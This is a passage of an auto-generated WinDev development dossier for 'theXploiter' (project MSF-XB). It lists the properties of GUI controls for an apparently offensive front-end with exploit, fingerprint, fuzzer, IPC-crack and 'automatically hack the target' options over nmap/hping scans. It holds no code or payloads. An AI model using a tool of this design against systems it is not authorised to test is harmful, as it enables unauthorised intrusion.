Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 111: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 111

Champ de saisie : DOMAINE_INFOS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Infos IP:GB: IP Info:

Ordre navigation 43Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 49Retrait gauche 2Position X interne 568Largeur interne 356

Bulle d'aide FR: Informations sur l'IP1GB: Information about IP1

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Page 112: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 112

Gestion Euro Non

Ancrage LargeurTaux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : DOMAINE_LANGUE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Langue:GB: Language:

Ordre navigation 44Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 50Retrait gauche 2Position X interne 568Largeur interne 85

Bulle d'aide FR: Langue probable su système cibleGB: Possible target's locale

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal Non

Page 113: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 113

Asc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : EXPLOITER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &ExploiterGB: Exploit

Groupe GRP_EXPLOITEROrdre navigation 15Curseur survol 0On/Off Non

Altitude 21

Bulle d'aide FR: Exploiter le service sélectionnéGB: Exploit the selected service

Texte aide FR: Exploité la faille sélectionnéeGB: Exploit the selecting vuln

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1

Page 114: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 114

Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : FINGERPRINT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &FingerPrintOrdre navigation 21Curseur survol 0On/Off Non

Altitude 27

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite

Page 115: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 115

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : FUZZER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &FuzzerOrdre navigation 23Curseur survol 0On/Off Non

Altitude 29

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 116: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 116

Bouton : GESTION_EXPLOITS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: GestionGB: Management

Ordre navigation 25Curseur survol 0On/Off Non

Altitude 31

Bulle d'aide FR: Gestion des exploitsGB: Exploits management

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 117: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 117

Bouton : GO

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &GOOrdre navigation 10Curseur survol 0On/Off Non

Altitude 16

Bulle d'aide FR: Lancer le scanGB: Launch the scan

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 118: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 118

Champ de saisie : IP11

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Champ de saisieGB: Edit control

Ordre navigation 1Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 6Retrait gauche 2Position X interne 50Largeur interne 36

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤999Borne max. 255Borne min. 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Page 119: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 119

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : IP12

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Champ de saisieGB: Edit control

Ordre navigation 2Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 7Retrait gauche 2Position X interne 92Largeur interne 36

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤999Borne max. 255Borne min. 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal Non

Page 120: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 120

Asc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : IP13

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Champ de saisieGB: Edit control

Ordre navigation 3Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 8Retrait gauche 2Position X interne 134Largeur interne 36

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤999Borne max. 255

Page 121: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 121

Borne min. 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : IP14

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Champ de saisieGB: Edit control

Ordre navigation 4Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 9Retrait gauche 2Position X interne 176Largeur interne 36

Numéro aide 0

Page 122: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 122

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤999Borne max. 255Borne min. 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : IP21

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Champ de saisieGB: Edit control

Ordre navigation 5Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. Gauche

Page 123: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 123

Altitude 11Retrait gauche 2Position X interne 50Largeur interne 36

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤999Borne max. 255Borne min. 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 124: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 124

Champ de saisie : IP22

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Champ de saisieGB: Edit control

Ordre navigation 6Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 12Retrait gauche 2Position X interne 92Largeur interne 36

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤999Borne max. 255Borne min. 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Page 125: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 125

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : IP23

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Champ de saisieGB: Edit control

Ordre navigation 7Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 13Retrait gauche 2Position X interne 134Largeur interne 36

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤999Borne max. 255Borne min. 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal Non

Page 126: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 126

Asc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : IP24

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Champ de saisieGB: Edit control

Ordre navigation 8Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 14Retrait gauche 2Position X interne 176Largeur interne 36

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤999Borne max. 255

Page 127: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 127

Borne min. 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : IPCCRACK

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &IPC...Groupe GRP_EXPLOITEROrdre navigation 22Curseur survol 0On/Off Non

Altitude 28

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Page 128: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 128

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : IPLAN

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: IP LAN:GB: LAN IP:

Ordre navigation 30Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 36Retrait gauche 2Position X interne 286Largeur interne 125

Bulle d'aide FR: Mon IP LANGB: My LAN IP

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0

Page 129: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 129

Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage DroiteTaux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : IPWAN

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: IP WAN:GB: WAN IP:

Ordre navigation 31Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 37Retrait gauche 2Position X interne 464Largeur interne 127

Page 130: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 130

Bulle d'aide FR: Mon IP InternetGB: My Internet IP

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage DroiteTaux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : LIB_IP1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: IP1Curseur survol 0Synchro Infos Partagées Non

Altitude 5

Numéro aide 0

Page 131: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 131

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : LIB_IP2

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: IP2Curseur survol 0Synchro Infos Partagées Non

Altitude 10

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 132: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 132

Libellé : Libellé1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: ExploitsCurseur survol 0Synchro Infos Partagées Non

Altitude 4

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : MAC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: MAC:Ordre navigation 18Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 24Retrait gauche 2Position X interne 50

Page 133: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 133

Largeur interne 344

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : OS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: OS:Ordre navigation 19Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. Gauche

Page 134: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 134

Altitude 25Retrait gauche 2Position X interne 316Largeur interne 608

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 135: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 135

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: theXploiter - www.ja-psi.frGB: theXploiter - www.ja-psi.com

Curseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSelecteurFichier

Note pour le dossier

FR,GB: FR: Ce superchamp est un sélecteur de fichiers : il permet de sélectionner un fichier et d'afficher son chemin complet dans un champ de saisie.

La fonction utilisée pour la sélection est fSélecteur(). La valeur renvoyée par le superchamp est le chemin du fichier sélectionné.

GB: This supercontrol is a file picker. It is used to select a file and to display its full path in an edit control. fSelect() is used to select the file. The value returned by the supercontrol is the path of the selected file.

Ordre navigation 32

Altitude 38Largeur externe 380Hauteur externe 25

Page 136: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 136

Bulle d'aide FR: Importer un fichier résultat de scan nmapGB: Import a nmap scan results file

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 49

Altitude 2Largeur externe 128Hauteur externe 18

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 137: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 137

Bouton : SEARCH_EXPLOIT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &RechercherGB: &Search

Groupe GRP_EXPLOITEROrdre navigation 17Curseur survol 0On/Off Non

Altitude 23

Bulle d'aide FR: Chercher un exploit pour le service sélectionnéGB: Search an exploit for the selected service

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 138: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 138

Combo : TYPE_SCAN

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Scan avecGB: Scan with

Contenu initial FR,GB: NMAP HPING DFIND

Ordre navigation 9Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 152Largeur liste 115Larg. déroulée perso. NonHauteur ligne 15Altitude 15Retrait gauche 2Position X interne 285Largeur interne 115

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable NonMémorise la taille Non

Page 139: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 139

Historique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : TYPE_SCAN_PARAMETRES

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &ParamètresGB: &Parameters

Ordre navigation 12Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 18Retrait gauche 2Position X interne 484Largeur interne 440

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>

Page 140: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 140

Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : Table1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: RésultatsGB: Results

Ordre navigation 13Curseur survol 0

Hauteur ligne max. 0Hauteur ligne 18Sens VerticalAltitude 19Retrait gauche 2

Numéro aide 0

Opacité 100Hauteur des lignes redimensionnable Non

Déplacement au pixel Oui

Page 141: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 141

Asc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection simpleAff. résultats Sans affichageTitre multiligne OuiMenu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 0

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Interrupteur : VIEW_LIVE_REPORT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &InterrupteurGB: Check box

Valeur initiale 0Groupe GP_AUTOHACKOrdre navigation 28Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 34

Bulle d'aide FR:GB: Automaticly hack the target

Numéro aide 0

Opacité 100

Options FR,GB: View Live Report

Page 142: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 142

Valeur persistante NonOption multi-lignes OuiOption format RTF Non

